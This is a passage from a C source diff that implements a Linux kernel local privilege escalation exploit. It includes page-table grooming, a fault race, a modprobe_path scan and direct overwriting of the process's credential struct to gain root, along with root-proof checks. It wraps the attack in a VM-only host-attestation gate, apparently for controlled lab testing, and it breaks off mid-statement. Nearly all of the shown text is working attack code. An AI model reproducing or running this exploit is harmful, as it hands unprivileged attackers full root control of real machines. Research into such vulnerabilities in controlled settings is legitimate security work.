base_pfn + page, offset, + modprobe_helper_path); + fflush(stdout); + return 0; + } + } + } + } + printf("MODPROBE_PATH_SCAN base_pfn=%#lx bytes=%lu candidates=%lu selected=0\n", + base_pfn, mapped_bytes, candidates); + fflush(stdout); + return -1; +} + + +static void *reserve_layout(uintptr_t *root_out) +{ + static const uintptr_t roots[] = { + 0x400000000000ULL, 0x3f8000000000ULL, + 0x300000000000ULL, 0x200000000000ULL + }; + unsigned int i; + + for (i = 0; i < sizeof(roots) / sizeof(roots[0]); i++) { + void *p = mmap((void *)roots[i], 2 * PUD_SIZE, PROT_NONE, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED_NOREPLACE, + -1, 0); + if (p != MAP_FAILED) { + *root_out = roots[i]; + return p; + } + } + return MAP_FAILED; +} + +static int touch_file_byte(const char *p) +{ + char byte; + return pread(sink_fd, &byte, 1, 0) == 1 && pwrite(sink_fd, p, 1, 0) == 1 ? 0 : -1; +} + + + +static int patch_current_credentials(uintptr_t fake_base, + unsigned long mapped_bytes, + unsigned long base_pfn) +{ + const uint64_t pair0 = ((uint64_t)target_rgid << 32) | target_ruid; + const uint64_t pair1 = ((uint64_t)target_sgid << 32) | target_suid; + const uint64_t pair2 = ((uint64_t)target_egid << 32) | target_euid; + const unsigned long pages = mapped_bytes / PAGE_SIZE; + const unsigned long words_per_page = PAGE_SIZE / sizeof(uint64_t); + unsigned long candidates = 0; + unsigned long id_matches = 0; + + for (unsigned long page = 0; page < pages; page++) { + volatile unsigned char *page_base = + (volatile unsigned char *)fake_base + page * PAGE_SIZE; + volatile uint64_t *words = (volatile uint64_t *)page_base; + unsigned char probe; + + if (safe_read(page_base, &probe) != 0) + continue; + for (unsigned long i = 1; i + 9 < words_per_page; i++) { + volatile unsigned char *cred; + uint32_t saved_ids[8]; + uint64_t saved_permitted, saved_effective; + unsigned long usage; + + if (words[i] != pair0 || words[i + 1] != pair1 || + words[i + 2] != pair2 || words[i + 3] != pair2) + continue; + id_matches++; + usage = words[i - 1]; + if (usage == 0 || usage > 0x100000 || + words[i + 4] != 0 || words[i + 5] != 0 || + words[i + 6] != 0 || words[i + 7] != 0) + continue; + + candidates++; + printf("CRED_CANDIDATE pfn=%#lx page_offset=%#lx usage=%lu bset=%#llx ambient=%#llx\n", + base_pfn + page, + (unsigned long)((i * sizeof(*words) - 8) & + (PAGE_SIZE - 1)), + usage, (unsigned long long)words[i + 8], + (unsigned long long)words[i + 9]); + cred = (volatile unsigned char *)&words[i] - 8; + for (unsigned int id = 0; id < 8; id++) + saved_ids[id] = *(volatile uint32_t *) + (cred + 8 + id * sizeof(uint32_t)); + saved_permitted = *(volatile uint64_t *)(cred + 56); + saved_effective = *(volatile uint64_t *)(cred + 64); + for (unsigned int id = 0; id < 8; id++) + *(volatile uint32_t *) + (cred + 8 + id * sizeof(uint32_t)) = 0; + *(volatile uint32_t *)(cred + 40) = 0; + *(volatile uint64_t *)(cred + 56) = CAP_VALID_MASK_7_1; + *(volatile uint64_t *)(cred + 64) = CAP_VALID_MASK_7_1; + atomic_thread_fence(memory_order_seq_cst); + + if (getuid() == 0 && geteuid() == 0) { + printf("CRED_SCAN base_pfn=%#lx bytes=%lu id_matches=%lu candidates=%lu selected=1\n", + base_pfn, mapped_bytes, id_matches, candidates); + printf("CRED_PATCH pfn=%#lx page_offset=%#lx permitted=%#llx effective=%#llx\n", + base_pfn + page, + (unsigned long)((i * sizeof(*words) - 8) & + (PAGE_SIZE - 1)), + (unsigned long long)CAP_VALID_MASK_7_1, + (unsigned long long)CAP_VALID_MASK_7_1); + fflush(stdout); + return 0; + } + + for (unsigned int id = 0; id < 8; id++) + *(volatile uint32_t *) + (cred + 8 + id * sizeof(uint32_t)) = + saved_ids[id]; + *(volatile uint64_t *)(cred + 56) = saved_permitted; + *(volatile uint64_t *)(cred + 64) = saved_effective; + atomic_thread_fence(memory_order_seq_cst); + } + } + + printf("CRED_SCAN base_pfn=%#lx bytes=%lu id_matches=%lu candidates=%lu selected=0\n", + base_pfn, mapped_bytes, id_matches, candidates); + fflush(stdout); + return -1; +} + +static int verify_initial_user_namespace(void) +{ + unsigned long long inside, outside, length; + FILE *stream = fopen("/proc/self/uid_map", "re"); + int initial; + + if (stream == NULL) + return -1; + if (fscanf(stream, "%llu %llu %llu", &inside, &outside, &length) != 3) { + fclose(stream); + return -1; + } + fclose(stream); + initial = inside == 0 && outside == 0 && length == 4294967295ULL; + printf("EXPLOIT_NAMESPACE initial=%d inside=%llu outside=%llu length=%llu\n", + initial, inside, outside, length); + fflush(stdout); + return initial ? 0 : -1; +} + + +struct attestation_token { + char schema_version[8]; + char token_id[65]; + char nonce[129]; + char boot_uuid[64]; + char issued_unix[32]; + char expires_unix[32]; + char target_id[128]; + char target_profile_sha256[65]; + char kernel_sha256[65]; + char initramfs_sha256[65]; + char action[32]; + char policy[64]; + char virtio_port[128]; +}; + +enum attestation_field_bit { + ATTEST_SCHEMA = 1U << 0, + ATTEST_TOKEN_ID = 1U << 1, + ATTEST_NONCE = 1U << 2, + ATTEST_BOOT_UUID = 1U << 3, + ATTEST_ISSUED = 1U << 4, + ATTEST_EXPIRES = 1U << 5, + ATTEST_TARGET = 1U << 6, + ATTEST_PROFILE_HASH = 1U << 7, + ATTEST_KERNEL_HASH = 1U << 8, + ATTEST_INITRAMFS_HASH = 1U << 9, + ATTEST_ACTION = 1U << 10, + ATTEST_POLICY = 1U << 11, + ATTEST_PORT = 1U << 12, +}; + +#define ATTEST_ALL_FIELDS ((1U << 13) - 1) + +static int attestation_fail(const char *reason) +{ + attestation_failure_reason = reason; + return -1; +} + +static int copy_attestation_value(char *destination, size_t capacity, + const char *value) +{ + size_t length = strlen(value); + + if (length == 0 || length >= capacity || strchr(value, '=') != NULL) + return attestation_fail("invalid_field_value"); + for (size_t i = 0; i < length; i++) { + unsigned char byte = (unsigned char)value[i]; + + if (byte <= 0x20 || byte >= 0x7f) + return attestation_fail("invalid_field_character"); + } + memcpy(destination, value, length + 1); + return 0; +} + +static int set_attestation_field(char *destination, size_t capacity, + const char *value, uint32_t *seen, + uint32_t bit) +{ + if ((*seen & bit) != 0) + return attestation_fail("duplicate_field"); + if (copy_attestation_value(destination, capacity, value) != 0) + return -1; + *seen |= bit; + return 0; +} + +static int parse_attestation_token(char *payload, size_t length, + struct attestation_token *token) +{ + char *save = NULL; + char *line; + uint32_t seen = 0; + + if (length == 0 || length >= ATTESTATION_MAX_BYTES || + payload[length - 1] != '\n' || strstr(payload, "\n\n") != NULL) + return attestation_fail("invalid_payload_framing"); + memset(token, 0, sizeof(*token)); + for (line = strtok_r(payload, "\n", &save); + line != NULL; + line = strtok_r(NULL, "\n", &save)) { + char *separator = strchr(line, '='); + const char *value; + + if (separator == NULL || separator == line) + return attestation_fail("invalid_field"); + *separator = '\0'; + value = separator + 1; + if (strcmp(line, "schema_version") == 0) { + if (set_attestation_field(token->schema_version, + sizeof(token->schema_version), + value, &seen, + ATTEST_SCHEMA) != 0) + return -1; + } else if (strcmp(line, "token_id") == 0) { + if (set_attestation_field(token->token_id, + sizeof(token->token_id), value, + &seen, ATTEST_TOKEN_ID) != 0) + return -1; + } else if (strcmp(line, "nonce") == 0) { + if (set_attestation_field(token->nonce, + sizeof(token->nonce), value, + &seen, ATTEST_NONCE) != 0) + return -1; + } else if (strcmp(line, "boot_uuid") == 0) { + if (set_attestation_field(token->boot_uuid, + sizeof(token->boot_uuid), value, + &seen, ATTEST_BOOT_UUID) != 0) + return -1; + } else if (strcmp(line, "issued_unix") == 0) { + if (set_attestation_field(token->issued_unix, + sizeof(token->issued_unix), value, + &seen, ATTEST_ISSUED) != 0) + return -1; + } else if (strcmp(line, "expires_unix") == 0) { + if (set_attestation_field(token->expires_unix, + sizeof(token->expires_unix), value, + &seen, ATTEST_EXPIRES) != 0) + return -1; + } else if (strcmp(line, "target_id") == 0) { + if (set_attestation_field(token->target_id, + sizeof(token->target_id), value, + &seen, ATTEST_TARGET) != 0) + return -1; + } else if (strcmp(line, "target_profile_sha256") == 0) { + if (set_attestation_field( + token->target_profile_sha256, + sizeof(token->target_profile_sha256), value, + &seen, ATTEST_PROFILE_HASH) != 0) + return -1; + } else if (strcmp(line, "kernel_sha256") == 0) { + if (set_attestation_field(token->kernel_sha256, + sizeof(token->kernel_sha256), + value, &seen, + ATTEST_KERNEL_HASH) != 0) + return -1; + } else if (strcmp(line, "initramfs_sha256") == 0) { + if (set_attestation_field( + token->initramfs_sha256, + sizeof(token->initramfs_sha256), value, + &seen, ATTEST_INITRAMFS_HASH) != 0) + return -1; + } else if (strcmp(line, "action") == 0) { + if (set_attestation_field(token->action, + sizeof(token->action), value, + &seen, ATTEST_ACTION) != 0) + return -1; + } else if (strcmp(line, "policy") == 0) { + if (set_attestation_field(token->policy, + sizeof(token->policy), value, + &seen, ATTEST_POLICY) != 0) + return -1; + } else if (strcmp(line, "virtio_port") == 0) { + if (set_attestation_field(token->virtio_port, + sizeof(token->virtio_port), + value, &seen, + ATTEST_PORT) != 0) + return -1; + } else { + return attestation_fail("unknown_field"); + } + } + if (seen != ATTEST_ALL_FIELDS) + return attestation_fail("missing_field"); + return 0; +} + +static int read_attestation_fd(int fd, char *payload, size_t capacity, + size_t *length_out) +{ + size_t used = 0; + + while (used + 1 < capacity) { + struct pollfd descriptor = { + .fd = fd, + .events = POLLIN | POLLHUP, + }; + int poll_rc; + ssize_t count; + + do { + poll_rc = poll(&descriptor, 1, + ATTESTATION_READ_TIMEOUT_MS); + } while (poll_rc < 0 && errno == EINTR); + if (poll_rc == 0) + return attestation_fail("channel_timeout"); + if (poll_rc < 0 || (descriptor.revents & (POLLERR | POLLNVAL))) + return attestation_fail("channel_poll_error"); + do { + count = read(fd, payload + used, capacity - used - 1); + } while (count < 0 && errno == EINTR); + if (count < 0 && (errno == EAGAIN || errno == EWOULDBLOCK)) + continue; + if (count < 0) + return attestation_fail("channel_read_error"); + if (count == 0) + break; + used += (size_t)count; + } + if (used == 0 || used + 1 >= capacity) + return attestation_fail("invalid_payload_size"); + payload[used] = '\0'; + *length_out = used; + return 0; +} + +static int read_attestation_path(const char *path, char *payload, + size_t capacity, size_t *length_out, + struct stat *status_out) +{ + int fd = open(path, O_RDONLY | O_CLOEXEC | O_NOFOLLOW | O_NONBLOCK); + int result; + + if (fd < 0) + return attestation_fail("channel_open_failed"); + if (status_out != NULL && fstat(fd, status_out) != 0) { + close(fd); + return attestation_fail("channel_stat_failed"); + } + result = read_attestation_fd(fd, payload, capacity, length_out); + close(fd); + return result; +} + +static int cmdline_value(const char *cmdline, const char *name, + char *value, size_t capacity) +{ + size_t name_length = strlen(name); + const char *cursor = cmdline; + int matches = 0; + + while (*cursor != '\0') { + const char *start; + size_t length; + + while (*cursor == ' ') + cursor++; + start = cursor; + while (*cursor != '\0' && *cursor != ' ') + cursor++; + length = (size_t)(cursor - start); + if (length > name_length + 1 && + memcmp(start, name, name_length) == 0 && + start[name_length] == '=') { + size_t value_length = length - name_length - 1; + + if (++matches != 1 || value_length == 0 || + value_length >= capacity) + return attestation_fail("invalid_cmdline_binding"); + memcpy(value, start + name_length + 1, value_length); + value[value_length] = '\0'; + } + } + return matches == 1 ? 0 : + attestation_fail("missing_cmdline_binding"); +} + +static int require_cmdline_binding(const char *cmdline, const char *name, + const char *expected) +{ + char observed[160]; + + if (cmdline_value(cmdline, name, observed, sizeof(observed)) != 0) + return -1; + if (strcmp(observed, expected) != 0) + return attestation_fail("cmdline_binding_mismatch"); + return 0; +} + +static int valid_hex(const char *value, size_t expected_length) +{ + if (strlen(value) != expected_length) + return 0; + for (size_t i = 0; i < expected_length; i++) { + if (!((value[i] >= '0' && value[i] <= '9') || + (value[i] >= 'a' && value[i] <= 'f'))) + return 0; + } + return 1; +} + +static int parse_attestation_time(const char *value, + unsigned long long *result) +{ + char *end = NULL; + unsigned long long parsed; + + errno = 0; + parsed = strtoull(value, &end, 10); + if (errno != 0 || end == value || *end != '\0') + return attestation_fail("invalid_timestamp"); + *result = parsed; + return 0; +} + +static int supported_vm_identity(void) +{ + char vendor[160], product[160]; + size_t vendor_length, product_length; + + if (read_attestation_path("/sys/class/dmi/id/sys_vendor", vendor, + sizeof(vendor), &vendor_length, NULL) != 0 || + read_attestation_path("/sys/class/dmi/id/product_name", product, + sizeof(product), &product_length, NULL) != 0) + return 0; + while (vendor_length > 0 && + (vendor[vendor_length - 1] == '\n' || + vendor[vendor_length - 1] == '\r')) + vendor[--vendor_length] = '\0'; + while (product_length > 0 && + (product[product_length - 1] == '\n' || + product[product_length - 1] == '\r')) + product[--product_length] = '\0'; + return strcasestr(vendor, "qemu") != NULL || + strcasestr(vendor, "kvm") != NULL || + strcasestr(vendor, "vmware") != NULL || + strcasestr(vendor, "virtualbox") != NULL || + strcasestr(vendor, "microsoft") != NULL || + strcasestr(product, "qemu") != NULL || + strcasestr(product, "kvm") != NULL || + strcasestr(product, "vmware") != NULL || + strcasestr(product, "virtualbox") != NULL || + strcasestr(product, "hyper-v") != NULL; +} + +static int validate_attestation_token(const struct attestation_token *token, + int check_expiration) +{ + char cmdline[ATTESTATION_MAX_BYTES]; + char product_uuid[80]; + size_t cmdline_length, uuid_length; + unsigned long long issued, expires, now; + + if (strcmp(token->schema_version, "1") != 0) + return attestation_fail("schema_mismatch"); + if (!valid_hex(token->token_id, 32) || + !valid_hex(token->nonce, 64) || + !valid_hex(token->target_profile_sha256, 64) || + !valid_hex(token->kernel_sha256, 64) || + !valid_hex(token->initramfs_sha256, 64)) + return attestation_fail("invalid_binding_encoding"); + if (strcmp(token->action, "backstep-proof") != 0 || + strcmp(token->policy, ATTESTATION_POLICY) != 0 || + strcmp(token->virtio_port, ATTESTATION_PORT_NAME) != 0) + return attestation_fail("policy_mismatch"); + if (read_attestation_path("/proc/cmdline", cmdline, sizeof(cmdline), + &cmdline_length, NULL) != 0) + return -1; + while (cmdline_length > 0 && + (cmdline[cmdline_length - 1] == '\n' || + cmdline[cmdline_length - 1] == '\r')) + cmdline[--cmdline_length] = '\0'; + if (require_cmdline_binding(cmdline, "dirtycrow.action", + token->action) != 0 || + require_cmdline_binding(cmdline, "dirtycrow.target_id", + token->target_id) != 0 || + require_cmdline_binding(cmdline, "dirtycrow.attestation_id", + token->token_id) != 0 || + require_cmdline_binding(cmdline, "dirtycrow.attestation_nonce", + token->nonce) != 0 || + require_cmdline_binding(cmdline, "dirtycrow.boot_uuid", + token->boot_uuid) != 0 || + require_cmdline_binding(cmdline, "dirtycrow.profile_sha256", + token->target_profile_sha256) != 0 || + require_cmdline_binding(cmdline, "dirtycrow.kernel_sha256", + token->kernel_sha256) != 0 || + require_cmdline_binding(cmdline, "dirtycrow.initramfs_sha256", + token->initramfs_sha256) != 0 || + require_cmdline_binding(cmdline, "dirtycrow.attestation_issued", + token->issued_unix) != 0 || + require_cmdline_binding(cmdline, "dirtycrow.attestation_expires", + token->expires_unix) != 0 || + require_cmdline_binding(cmdline, "dirtycrow.policy", + token->policy) != 0) + return -1; + if (!supported_vm_identity()) + return attestation_fail("non_vm_identity"); + if (read_attestation_path("/sys/class/dmi/id/product_uuid", + product_uuid, sizeof(product_uuid), + &uuid_length, NULL) != 0) + return -1; + while (uuid_length > 0 && + (product_uuid[uuid_length - 1] == '\n' || + product_uuid[uuid_length - 1] == '\r')) + product_uuid[--uuid_length] = '\0'; + if (strcasecmp(product_uuid, token->boot_uuid) != 0) + return attestation_fail("boot_uuid_mismatch"); + if (parse_attestation_time(token->issued_unix, &issued) != 0 || + parse_attestation_time(token->expires_unix, &expires) != 0) + return -1; + now = (unsigned long long)time(NULL); + if (expires <= issued || expires - issued < 10 || + expires - issued > 600) + return attestation_fail("invalid_token_lifetime"); + if (check_expiration && now < issued) + return attestation_fail("token_not_yet_valid"); + if (check_expiration && now >= expires) + return attestation_fail("token_expired"); + return 0; +} +static int write_attestation_receipt(const char *payload, size_t length, + const struct attestation_token *token) +{ + struct stat status; + size_t written = 0; + int fd; + + if (snprintf(attestation_receipt_path, + sizeof(attestation_receipt_path), "%s%s.receipt", + ATTESTATION_RECEIPT_PREFIX, token->token_id) >= + (int)sizeof(attestation_receipt_path)) + return attestation_fail("receipt_path_too_long"); + fd = open(attestation_receipt_path, + O_WRONLY | O_CREAT | O_EXCL | O_CLOEXEC | O_NOFOLLOW, 0400); + if (fd < 0) + return attestation_fail("receipt_create_failed"); + if (fstat(fd, &status) != 0 || !S_ISREG(status.st_mode) || + status.st_uid != getuid() || status.st_nlink != 1 || + fchmod(fd, 0400) != 0) { + close(fd); + unlink(attestation_receipt_path); + return attestation_fail("receipt_metadata_invalid"); + } + while (written < length) { + ssize_t count = write(fd, payload + written, length - written); + + if (count < 0 && errno == EINTR) + continue; + if (count <= 0) { + close(fd); + unlink(attestation_receipt_path); + return attestation_fail("receipt_write_failed"); + } + written += (size_t)count; + } + if (close(fd) != 0) { + unlink(attestation_receipt_path); + return attestation_fail("receipt_close_failed"); + } + return 0; +} + +static int verify_host_attestation(void) +{ + struct attestation_token token; + char payload[ATTESTATION_MAX_BYTES]; + char parse_buffer[ATTESTATION_MAX_BYTES]; + size_t length; + + if (read_attestation_path(ATTESTATION_PORT_PATH, payload, + sizeof(payload), &length, NULL) != 0) + return -1; + memcpy(parse_buffer, payload, length + 1); + if (parse_attestation_token(parse_buffer, length, &token) != 0 || + validate_attestation_token(&token, 1) != 0 || + write_attestation_receipt(payload, length, &token) != 0) + return -1; + printf("ATTESTATION_ACCEPTED token_id=%s boot_uuid=%s policy=%s\n", + token.token_id, token.boot_uuid, token.policy); + fflush(stdout); + return 0; +} + +static int verify_attestation_receipt(void) +{ + struct attestation_token token; + struct stat status; + char cmdline[ATTESTATION_MAX_BYTES]; + char token_id[65]; + char payload[ATTESTATION_MAX_BYTES]; + char parse_buffer[ATTESTATION_MAX_BYTES]; + size_t cmdline_length, length; + + if (read_attestation_path("/proc/cmdline", cmdline, sizeof(cmdline), + &cmdline_length, NULL) != 0) + return -1; + while (cmdline_length > 0 && + (cmdline[cmdline_length - 1] == '\n' || + cmdline[cmdline_length - 1] == '\r')) + cmdline[--cmdline_length] = '\0'; + if (cmdline_value(cmdline, "dirtycrow.attestation_id", token_id, + sizeof(token_id)) != 0 || + !valid_hex(token_id, 32)) + return -1; + if (snprintf(attestation_receipt_path, + sizeof(attestation_receipt_path), "%s%s.receipt", + ATTESTATION_RECEIPT_PREFIX, token_id) >= + (int)sizeof(attestation_receipt_path)) + return attestation_fail("receipt_path_too_long"); + if (read_attestation_path(attestation_receipt_path, payload, + sizeof(payload), &length, &status) != 0) + return -1; + if (!S_ISREG(status.st_mode) || status.st_uid == 0 || + status.st_nlink != 1 || (status.st_mode & 07777) != 0400) + return attestation_fail("receipt_metadata_invalid"); + memcpy(parse_buffer, payload, length + 1); + if (parse_attestation_token(parse_buffer, length, &token) != 0 || + validate_attestation_token(&token, 0) != 0) + return -1; + if (strcmp(token.token_id, token_id) != 0) + return attestation_fail("receipt_binding_mismatch"); + if (unlink(attestation_receipt_path) != 0) + return attestation_fail("receipt_consume_failed"); + printf("ATTESTATION_RECEIPT_ACCEPTED token_id=%s boot_uuid=%s policy=%s\n", + token.token_id, token.boot_uuid, token.policy); + fflush(stdout); + return 0; +} + +static int prove_root_identity(void) +{ + struct __user_cap_header_struct hdr = { + .version = _LINUX_CAPABILITY_VERSION_3, + .pid = 0, + }; + struct __user_cap_data_struct caps[2] = { 0 }; + uid_t ruid, euid, suid; + gid_t rgid, egid, sgid; + char proof[64] = { 0 }; + uint64_t effective; + int fd; + ssize_t n; + int cap_rc; + + getresuid(&ruid, &euid, &suid); + getresgid(&rgid, &egid, &sgid); + cap_rc = (int)syscall(SYS_capget, &hdr, caps); + effective = ((uint64_t)caps[1].effective << 32) | caps[0].effective; + fd = open(ROOT_PROOF_PATH, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + n = fd >= 0 ? read(fd, proof, sizeof(proof) - 1) : -1; + if (fd >= 0) + close(fd); + printf("ROOT_IDENTITY uid=%u euid=%u suid=%u gid=%u egid=%u sgid=%u capget_rc=%d cap_effective=%#llx\n", + ruid, euid, suid, rgid, egid, sgid, cap_rc, + (unsigned long long)effective); + printf("ROOT_PROOF path=%s required=%d open=%d read=%ld data=%.*s\n", + ROOT_PROOF_PATH, root_proof_required, fd >= 0, (long)n, + n > 0 ? (int)n : 0, proof); + fflush(stdout); + return ruid == 0 && euid == 0 && suid == 0 && + rgid == 0 && egid == 0 && sgid == 0 && + cap_rc == 0 && + (effective & ROOT_REQUIRED_CAPS) == ROOT_REQUIRED_CAPS && + (!root_proof_required || + (n == (ssize_t)strlen(ROOT_PROOF_TEXT) && + memcmp(proof, ROOT_PROOF_TEXT, strlen(ROOT_PROOF_TEXT)) == 0)) ? + 0 : -1; +} + +static int prove_post_root_create(void) +{ + static const char payload[] = POST_ROOT_TEXT; + char observed[64] = { 0 }; + struct stat st = { 0 }; + int fd; + ssize_t n; + + fd = open(post_root_path, + O_WRONLY | O_CREAT | O_EXCL | O_CLOEXEC | O_NOFOLLOW, 0400); + if (fd < 0) { + printf("POST_ROOT_CREATE path=%s created=0 errno=%d (%s)\n", + post_root_path, errno, strerror(errno)); + return -1; + } + if (fchown(fd, 0, 0) != 0 || fchmod(fd, 0400) != 0 || + write(fd, payload, sizeof(payload) - 1) != + (ssize_t)(sizeof(payload) - 1)) { + close(fd); + return -1; + } + if (close(fd) != 0) + return -1; + + fd = open(post_root_path, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + n = fd >= 0 ? read(fd, observed, sizeof(observed) - 1) : -1; + if (fd >= 0) + close(fd); + if (lstat(post_root_path, &st) != 0) + return -1; + printf("POST_ROOT_CREATE path=%s created=1 uid=%u gid=%u mode=%#o read=%ld data=%.*s\n", + post_root_path, st.st_uid, st.st_gid, st.st_mode & 07777, + (long)n, n > 0 ? (int)n : 0, observed); + fflush(stdout); + return st.st_uid == 0 && st.st_gid == 0 && + (st.st_mode & 07777) == 0400 && + n == (ssize_t)strlen(POST_ROOT_TEXT) && + memcmp(observed, POST_ROOT_TEXT, strlen(POST_ROOT_TEXT)) == 0 ? + 0 : -1; +} + +static int run_exploit(int rounds) +{ + pthread_t threads[FAULT_THREADS]; + pthread_t membarrier_threads[RACE_MEMBARRIER_WORKERS > 0 ? + RACE_MEMBARRIER_WORKERS : 1]; + uintptr_t root; + uintptr_t candidate_roots[2], source_bases[2], fake_bases[2]; + void *layout; + char *dummies[2]; + char *marker, *tlb_flush_pad; + cpu_set_t groom_saved_set; + int groom_cpu = -1; + int groom_fd = -1; + int i; + int success = 0; + int winning_fd = -1; + uint64_t *winning_alias = MAP_FAILED; + unsigned long mapped_bytes = 0; + uintptr_t winning_fake_base = 0; + unsigned long winning_pmds = 0; + char *winning_source = MAP_FAILED; + unsigned long mutation_failures = 0; + struct sigaction sa = { .sa_handler = fault_signal }; + + if (getresuid(&target_ruid, &target_euid, &target_suid) != 0 || + getresgid(&target_rgid, &target_egid, &target_sgid) != 0) { + perror("capture identity"); + return 2; + } + if (target_ruid == 0 || target_euid == 0 || target_suid == 0 || + target_rgid == 0 || target_egid == 0 || target_sgid == 0) { + fprintf(stderr, "EXPLOIT_REFUSED privileged initial identity\n"); + return 2; + } + (void)prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); + (void)prctl(PR_SET_DUMPABLE, 1, 0, 0, 0); + (void)prctl(PR_SET_NAME, "xarr-lpe-main", 0, 0, 0); + printf("EXPLOIT_IDENTITY uid=%u euid=%u suid=%u gid=%u egid=%u sgid=%u nnp=%d\n", + target_ruid, target_euid, target_suid, + target_rgid, target_egid, target_sgid, + prctl(PR_GET_NO_NEW_PRIVS, 0, 0, 0, 0)); + fflush(stdout); + { + struct __user_cap_header_struct hdr = { + .version = _LINUX_CAPABILITY_VERSION_3, + .pid = 0, + }; + struct __user_cap_data_struct caps[2] = { 0 }; + int rc = (int)syscall(SYS_capget, &hdr, caps); + uint64_t effective = ((uint64_t)caps[1].effective << 32) | + caps[0].effective; + + printf("EXPLOIT_CAPS capget_rc=%d effective=%#llx\n", rc, + (unsigned long long)effective); + fflush(stdout); + } + if (verify_initial_user_namespace() != 0) { + fprintf(stderr, "EXPLOIT_REFUSED non_initial_user_namespace\n"); + return 2; + } + { + int fd; + int saved_errno; + + errno = 0; + fd = open(ROOT_PROOF_PATH, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + saved_errno = errno; + root_proof_required = + getenv("XARR_REQUIRE_ROOT_PROOF") != NULL; + printf("PRE_ROOT_PROOF path=%s required=%d open=%d errno=%d (%s)\n", + ROOT_PROOF_PATH, root_proof_required, fd >= 0, + saved_errno, strerror(saved_errno)); + fflush(stdout); + if (fd >= 0) { + close(fd); + return 2; + } + } + if (verify_host_attestation() != 0) { + fprintf(stderr, "ATTESTATION_REJECTED reason=%s\n", + attestation_failure_reason); + return 2; + } + printf("TRIGGER_START mode=backstep rounds=%d workers=%u\n", + rounds, FAULT_THREADS); + fflush(stdout); + + memset(&sa.sa_mask, 0, sizeof(sa.sa_mask)); + sa.sa_flags = SA_NODEFER; + sigaction(SIGSEGV, &sa, NULL); + sigaction(SIGBUS, &sa, NULL); + + sink_fd = (int)syscall(SYS_memfd_create, "xarray-sink", MFD_CLOEXEC); + groom_fd = (int)syscall(SYS_memfd_create, "xarray-groom", MFD_CLOEXEC); + if (sink_fd < 0 || groom_fd < 0 || ftruncate(sink_fd, PAGE_SIZE) != 0 || + ftruncate(groom_fd, PAGE_SIZE) != 0) { + perror("prepare grooming files"); + return 2; + } + if (pwrite(groom_fd, "G", 1, 0) != 1) { + perror("populate grooming file"); + return 2; + } + + marker = mmap(NULL, MARKER_PAGES * PAGE_SIZE, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (marker == MAP_FAILED) { + perror("marker mmap"); + return 2; + } + (void)madvise(marker, MARKER_PAGES * PAGE_SIZE, MADV_NOHUGEPAGE); + for (unsigned long page = 0; page < MARKER_PAGES; page++) { + unsigned char *p = (unsigned char *)marker + page * PAGE_SIZE; + memcpy(p, MARKER_MAGIC, sizeof(MARKER_MAGIC)); + memcpy(p + 32, &page, sizeof(page)); + p[128] = (unsigned char)(page ^ 0x5a); + } + printf("MARKER_SPRAY pages=%lu bytes=%lu\n", MARKER_PAGES, + MARKER_PAGES * PAGE_SIZE); + tlb_flush_pad = mmap(NULL, TLB_FLUSH_PAGES * PAGE_SIZE, + PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (tlb_flush_pad == MAP_FAILED) { + perror("tlb flush pad mmap"); + return 2; + } + (void)madvise(tlb_flush_pad, TLB_FLUSH_PAGES * PAGE_SIZE, + MADV_NOHUGEPAGE); + for (unsigned long page = 0; page < TLB_FLUSH_PAGES; page++) + tlb_flush_pad[page * PAGE_SIZE] = 0; + if ((RACE_MEMBARRIER_SHOTS > 0 || RACE_MEMBARRIER_WORKERS > 0) && + syscall(SYS_membarrier, + MEMBARRIER_CMD_REGISTER_PRIVATE_EXPEDITED, 0, 0) != 0) { + perror("register private expedited membarrier"); + return 2; + } + + if (RACE_PIN_WORKERS) { + cpu_set_t set; + + CPU_ZERO(&set); + CPU_SET(0, &set); + if (sched_setaffinity(0, sizeof(set), &set) != 0) { + perror("pin race coordinator"); + return 2; + } + } + layout = reserve_layout(&root); + if (layout == MAP_FAILED) { + perror("reserve fixed layout"); + return 2; + } + candidate_roots[0] = root; + candidate_roots[1] = root + PUD_SIZE; + source_bases[0] = candidate_roots[0] + SOURCE_ENTRY * PMD_SIZE; + source_bases[1] = candidate_roots[1]; + fake_bases[0] = candidate_roots[0] + CORRUPT_FIRST_PMD * PMD_SIZE; + fake_bases[1] = candidate_roots[1] + CORRUPT_FIRST_PMD * PMD_SIZE; + + /* + * Install every VMA before the allocation-sensitive page-table + * sequence. Candidate 0 is raced. If order-0 page-table allocations + * ascend, its PTE page follows its own PMD page. If they descend, the + * subsequently allocated candidate-1 PMD page precedes candidate 0's + * PTE page. Scanning both PUDs therefore covers either allocator + * direction without privileged PFN knowledge. + */ + for (unsigned int candidate = 0; candidate < 2; candidate++) { + dummies[candidate] = mmap( + (void *)(source_bases[candidate] + PMD_SIZE - PAGE_SIZE), + PAGE_SIZE, PROT_READ, MAP_SHARED | MAP_FIXED, groom_fd, 0); + if (dummies[candidate] == MAP_FAILED || + mmap((void *)fake_bases[candidate], FAKE_WINDOW_SIZE, + PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, + -1, 0) == MAP_FAILED) { + perror("install fixed candidate VMAs"); + return 2; + } + } + + /* + * Keep both page-table faults on one allowed CPU so their order-0 + * allocations come from one per-CPU page list. + */ + if (sched_getaffinity(0, sizeof(groom_saved_set), + &groom_saved_set) != 0) { + perror("read groom affinity"); + return 2; + } + groom_cpu = sched_getcpu(); + if (groom_cpu < 0 || !CPU_ISSET(groom_cpu, &groom_saved_set)) { + for (int cpu = 0; cpu < CPU_SETSIZE; cpu++) { + if (CPU_ISSET(cpu, &groom_saved_set)) { + groom_cpu = cpu; + break; + } + } + } + if (groom_cpu < 0) { + fprintf(stderr, "no allowed groom CPU\n"); + return 2; + } + { + cpu_set_t groom_single_set; + + CPU_ZERO(&groom_single_set); + CPU_SET(groom_cpu, &groom_single_set); + if (sched_setaffinity(0, sizeof(groom_single_set), + &groom_single_set) != 0) { + perror("pin page-table groom"); + return 2; + } + } + for (unsigned int candidate = 0; candidate < 2; candidate++) { + if (touch_file_byte(dummies[candidate]) != 0) { + (void)sched_setaffinity(0, sizeof(groom_saved_set), + &groom_saved_set); + perror("fault candidate grooming mapping"); + return 2; + } + } + if 